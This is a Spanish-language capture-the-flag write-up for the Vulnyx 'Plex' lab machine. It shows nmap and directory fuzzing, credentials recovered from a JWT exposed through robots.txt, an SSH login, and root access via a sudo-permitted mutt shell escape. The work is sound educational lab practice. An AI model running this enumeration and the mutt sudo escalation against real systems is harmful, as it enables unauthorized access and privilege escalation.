CTF-Plex
Guia en texto del CTF Plex de Vulnyx, incluye los pasos para superar el desafio de manera convencional
Índice
1.Plex
1.1 Detalles de la máquina virtual
2.1 Conectividad
2.2 Escaneo de Vulnerabilidades con Nmap
3.1Prueba de conexión al servicio FTP port 21
4.1Conexion SSH con el usuario mauro
4.2Primera Flag
5.1Somos root
6.Recomendaciones y Conclusiones
1. Plex
1.1 Detalles de la máquina virtual
Plex es una máquina virtual proporcionada por la plataforma web de CTFs Vulnyx. Aunque está disponible desde 2023, ya cuenta con muchas máquinas virtuales en las que puedes practicar hacking ético en entornos seguros. Además, permite encontrar y compartir writeups hechos por y para la comunidad. Visitalos: Vulnyx
Después de descargar la Máquina Virtual, te muestra un archivo .ova el cual, al ejecutarlo, despliega la máquina virtual en VMware o VirtualBox la cual toma el dhcp de tu red virtual.
Vm name | Ip Adress | Creators | Level |
---|---|---|---|
Plex | 192.168.137.225 | Vulnyx | Easy |
2. Reconocimiento
2.1 Conectividad
Se valida la conectividad hacia el objetivo desde nuestra máquina virtual con Kali, con esto podremos iniciar las pruebas de Ethical Hacking.
1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿V4lcyfer)-[/home/kali]
└─# ping 192.168.137.225 -c 3
PING 192.168.137.225 (192.168.137.225) 56(84) bytes of data.
64 bytes from 192.168.137.225: icmp_seq=1 ttl=64 time=0.594 ms
64 bytes from 192.168.137.225: icmp_seq=2 ttl=64 time=0.857 ms
64 bytes from 192.168.137.225: icmp_seq=3 ttl=64 time=0.350 ms
--- 192.168.137.225 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2013ms
rtt min/avg/max/mdev = 0.350/0.600/0.857/0.207 ms
2.2 Escaneo de vulnerabilidades con Nmap
Se utiliza Nmap para recopilar información que pueda ser usada posteriormente para realizar un ataque, en nuestra busqueda tratamos de identificar versiones de servicio, sistema operativo, el comando utilizado fue nmap -sVC 192.168.137.225
como resultado observamos que tenemos un puerto utilizado por el objetivo 21
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿V4lcyfer)-[/home/kali]
└─# nmap -sVC 192.168.137.225
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-18 03:22 EDT
Nmap scan report for plex.mshome.net (192.168.137.225)
Host is up (0.00010s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
|_ftp-bounce: ERROR: Script execution failed (use -d to debug)
| ssh-hostkey:
| 2048 56:9b:dd:56:a5:c1:e3:52:a8:42:46:18:5e:0c:12:86 (RSA)
| 256 1b:d2:cc:59:21:50:1b:39:19:77:1d:28:c0:be:c6:82 (ECDSA)
|_ 256 9c:e7:41:b6:ad:03:ed:f5:a1:4c:cc:0a:50:79:1c:20 (ED25519)
MAC Address: 00:0C:29:AF:DD:86 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.43 seconds
Esto es muy sospechoso ya que lo normal es que se tenga mas puertos o mas servicios utilizados.
3. Recopilación de Información
3.1 Prueba de conexión al servicio FTP port 21
Intentamos realizar una conexión al serivicio FTP por el puerto 21
detectado en la etapata anterior
1
2
3
4
5
6
┌──(root㉿V4lcyfer)-[/home/kali]
└─# ftp 192.168.137.225
Connected to 192.168.137.225.
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u4
ftp> dir
Not connected.
Realizamos la conexión al ssh pero en el banner de bienvenida observamos el mensaje del SSH, mas no del del FTP convencional, no obtenemos mayor información relevante.
3.2 Comprobación de Servicios
Para obtener más información sobre el único servicio encontrado, realizaremos una consulta mediante cURL a la IP del servicio en el puerto identificado.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿V4lcyfer)-[/home/kali]
└─# curl -v 192.168.137.225:21
* Trying 192.168.137.225:21...
* Connected to 192.168.137.225 (192.168.137.225) port 21
> GET / HTTP/1.1
> Host: 192.168.137.225:21
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sat, 18 May 2024 07:57:41 GMT
< Server: Apache/2.4.38 (Debian)
< Last-Modified: Wed, 28 Feb 2024 17:50:38 GMT
< ETag: "31-61274c7cf8519"
< Accept-Ranges: bytes
< Content-Length: 49
< Content-Type: text/html
<
Hello Bro!
You only need a port to be happy...
* Connection 0 to host 192.168.137.225 left intact
Observamos que por el mismo puerto 21 corre tambien un servicio HTTP y tambien observamos un curioso y divertido mensaje del autor de la maquina “Hola bro!, Solo necesitas un puerto para ser feliz …”, lo cual nos proporciona una pista interesante. mas de 1 servicio en un solo puerto?
3.3 Fuzzing con Dirsearch
Utilizaremos dirsearch para encontrar información relevante de directorios, subdominios o información expuesta que nos sea de utilidad.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root㉿V4lcyfer)-[/home/kali]
└─# dirsearch -u 192.168.137.225:21
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/reports/_192.168.137.225_21/_24-05-18_04-06-04.txt
Target: http://192.168.137.225:21/
[04:06:04] Starting:
[04:06:07] 403 - 280B - /.ht_wsr.txt
[04:06:07] 403 - 280B - /.htaccess.save
[04:06:07] 403 - 280B - /.htaccess.bak1
[04:06:07] 403 - 280B - /.htaccess.orig
[04:06:07] 403 - 280B - /.htaccess_extra
[04:06:07] 403 - 280B - /.htaccess_orig
[04:06:07] 403 - 280B - /.htaccessOLD
[04:06:07] 403 - 280B - /.htaccessOLD2
[04:06:07] 403 - 280B - /.htaccess_sc
[04:06:07] 403 - 280B - /.html
[04:06:07] 403 - 280B - /.htm
[04:06:07] 403 - 280B - /.htaccessBAK
[04:06:07] 403 - 280B - /.htaccess.sample
[04:06:07] 403 - 280B - /.htpasswd_test
[04:06:07] 403 - 280B - /.htpasswds
[04:06:07] 403 - 280B - /.httr-oauth
[04:06:08] 403 - 280B - /.php
[04:07:03] 200 - 58B - /robots.txt
[04:07:04] 200 - 2KB - /server-status/
[04:07:04] 200 - 2KB - /server-status
Task Completed
Encontramos que la dirección tiene el sitio robotos.txt
habilitado que como ya sabemos casi siempre contiene información interesante.
3.4 Fuzzing con Gobuster
Normalmente me agrada utilizar diferentes herramientas para validar si obtengo los mimso resultados o si obtengo alguna información adicional que me pueda servir, en este caso realizaremos el mismo proceso anterior pero con Gobuster.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿V4lcyfer)-[/home/kali]
└─# gobuster dir -u http://192.168.137.225:21 -t 20 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x 'txt,php,html'
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.137.225:21
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 280]
/.html (Status: 403) [Size: 280]
/index.html (Status: 200) [Size: 49]
/robots.txt (Status: 200) [Size: 58]
Progress: 566832 / 566836 (100.00%)
===============================================================
Finished
===============================================================
En este caso observamos que en nuestra nueva con otra herramienta busqueda confirma la ruta /robots.txt
, tenemos que darle un vistazo.
3.5 Consulta Robots.txt
Para poder visualizar el contenido utilizaremos curl
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿V4lcyfer)-[/home/kali]
└─# curl -v 192.168.137.225:21/robots.txt
* Trying 192.168.137.225:21...
* Connected to 192.168.137.225 (192.168.137.225) port 21
> GET /robots.txt HTTP/1.1
> Host: 192.168.137.225:21
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sat, 18 May 2024 08:28:24 GMT
< Server: Apache/2.4.38 (Debian)
< Last-Modified: Wed, 28 Feb 2024 17:39:55 GMT
< ETag: "3a-61274a1864993"
< Accept-Ranges: bytes
< Content-Length: 58
< Content-Type: text/plain
<
User-agent: *
Disallow: /9a618248b64db62d15b300a07b00580b
* Connection 0 to host 192.168.137.225 left intact
Lo primero que nos llama la atención es la especie de ruta o directorio que muestra en la parte de Disallow:/
deberiamos darle una revisada.
3.6 Ruta sospechosa
Vamos a revisar que encontramos en la ruta con la ayuda del poderoso curl.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿V4lcyfer)-[/home/kali]
└─# curl -v 192.168.137.225:21/9a618248b64db62d15b300a07b00580b/
* Trying 192.168.137.225:21...
* Connected to 192.168.137.225 (192.168.137.225) port 21
> GET //9a618248b64db62d15b300a07b00580b/ HTTP/1.1
> Host: 192.168.137.225:21
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sat, 18 May 2024 08:32:05 GMT
< Server: Apache/2.4.38 (Debian)
< Last-Modified: Wed, 28 Feb 2024 15:16:17 GMT
< ETag: "d9-612729fd04e5f"
< Accept-Ranges: bytes
< Content-Length: 217
< Vary: Accept-Encoding
< Content-Type: text/html
<
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIiLCJpYXQiOm51bGwsImV4cCI6bnVsbCwiYXVkIjoiIiwic3ViIjoiIiwiaWQiOiIxIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0.zMeVhhqARJ6YzuMtwahGQnegFDhF7r0BCPf3H9ljDIk
* Connection #0 to host 192.168.137.225 left intact
! Importante:
No se olviden del “/” al final de la ruta
Observamos como una especie de Hash el cual seria bueno revisar, para esto investigaremos que tipo de encriptado es.
Revisando, confirmamos que se trata de un JSON Web Token (JWT) por su estructura. Ahora vamos a verificar su contenido; para esto utilizaremos una herramienta en línea. Cyberchef.
ⓘ NOTA:
Existen muchas herramientas web con capacidades similares, pero personalmente, esta es la que más me agrada debido a su capacidad de detectar el tipo de hash o algoritmo y descifrar su contenido..
Bingo! encontramos credenciales de acceso del usuario mauro
, con este acceso m@uR0123!
probaremos acceso al ssh detectado al inicio.
4. Acceso al Objetivo
4.1 Conexion SSH con el nuevo usuario mauro
Utilizando las credenciales encontradas, validamos la conexión al objetivo.
1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[/home/kali]
└─# ssh -p21 mauro@192.168.137.225
mauro@192.168.137.10's password:
mauro@plex:~$
mauro@plex:~$ whoami
mauro
mauro@plex:~$ id
uid=1000(mauro) gid=1000(mauro) grupos=1000(mauro)
mauro@plex:~$ pwd
/home/mauro
mauro@plex:~$
4.2 Primera Flag
Buscamos la flag para poder culminar el desafio para esto listamos los archivos dentro del directorio donde nos encontramos.
1
2
3
4
5
mauro@plex:~$ ls
user.txt
mauro@plex:~$ cat user.txt
05135a0133cbb692dc66761e5d99364a
mauro@plex:~$
Listando, encontramos el archivo users.txt, y dentro de él, la flag del desafío.
5. Escalamiento de Privilegios
5.1 Somos root
Para obtener privilegios de root primero debemos saber cuales son los comandos que estamos autorizado a ejecutar con permisos elevados para esto nos ayudamos con el comando sudo.
1
2
3
4
5
6
7
mauro@plex:~$ sudo -l
Matching Defaults entries for mauro on plex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User mauro may run the following commands on plex:
(root) NOPASSWD: /usr/bin/mutt
mauro@plex:~$
Observamos que podemos ejecutar mutt
como superusuario asi que probemos con /usr/bin/mutt
.
1
mauro@plex:~$ sudo -u root /usr/bin/mutt
Dentro de /usr/bin/mutt que es la ruta del ejecutable del programa Mutt que es un cliente de correo electrónico de línea de comandos colocamos !
para poder ejecurar la ruta del bash /bin/bash
.
Con esto ya podremos ejecutar comandos con los privilegios de root.
1
2
3
4
5
6
root@plex:/home/mauro#
root@plex:/home/mauro# id
uid=0(root) gid=0(root) grupos=0(root)
root@plex:/home/mauro# pwd
/home/mauro
root@plex:/home/mauro#
5.2 Flag de root
Buscamos la ultima flag del superuser (root) el cual normalmente esta en la ruta /root
1
2
3
4
5
6
root@plex:/# cd root
root@plex:~# ls
Mail root.txt
root@plex:~# cat root.txt
943f08fb32181d5f8171332146f39e41
root@plex:~#
Listo!, ultima flag obtenida.
6. Recomendaciones y Conclusiones
Es importante estar atento a los resultados obtenidos. Muchas veces, la más mínima sospecha o anomalía en un resultado puede ser el camino correcto hacia la solución del CTF.
No olvidar, la paciencia es una virtud.
Muchas Gracias Vulnyx. Fue muy divertido.
7. Fundamento Teórico
¿Qué es un JWT (JSON Web Token)?
Para empesar, ¿Que es JSON?
JSON (JavaScript Object Notation) es un formato ligero de intercambio de datos que es fácil de leer y escribir tanto para los humanos como para las máquinas. Se utiliza principalmente para transmitir datos entre un servidor y una aplicación web como texto plano.
Algunas caracteristicas de JSON son:
- Simplicidad.
- Formato en texto.
- Compatibilidad
- Estructura de datos.
Ejemplo de JSON:
1
2
3
4
5
6
{
"nombre": "Rafael",
"edad": 38,
"ciudad": "Lima",
"aficiones": ["leer", "viajar", "jugar videojuegos"]
}
Ahora con esto claro, un JWT es un estándar abierto (RFC 7519) que define una forma compacta y autónoma de transmitir información de manera segura entre partes como un objeto JSON. Esta información se puede verificar y confiar porque está firmada digitalmente.
El formato de un JWT típico es :
1
header.payload.signature
Recordemos nuestro escenario eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIiLCJpYXQiOm51bGwsImV4cCI6bnVsbCwiYXVkIjoiIiwic3ViIjoiIiwiaWQiOiIxIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0.zMeVhhqARJ6YzuMtwahGQnegFDhF7r0BCPf3H9ljDIk
este JTW encontrado dentro de la ruta sospechosa trendria entonces la siguiente estructura:
1
2
3
Header - eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
Payload - eyJpc3MiOiIiLCJpYXQiOm51bGwsImV4cCI6bnVsbCwiYXVkIjoiIiwic3ViIjoiIiwiaWQiOiIxIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0
Signature - zMeVhhqARJ6YzuMtwahGQnegFDhF7r0BCPf3H9ljDIk
Que al decodificar tenemos :
Header:
1
2
3
4
{
"typ": "JWT",
"alg": "HS256"
}
Payload:
1
2
3
4
5
6
7
8
9
10
{
"iss": "",
"iat": null,
"exp": null,
"aud": "",
"sub": "",
"id": "1",
"username": "mauro",
"password": "m@uR0123!"
}
Signature: La firma se crea utilizando el header codificado y el payload codificado, y luego firmándolos con el algoritmo HS256 y una clave secreta.
Por lo tanto, este token se utiliza para autenticar y transmitir información de manera segura entre diferentes partes en un sistema.
Saludos!
!Hack the life!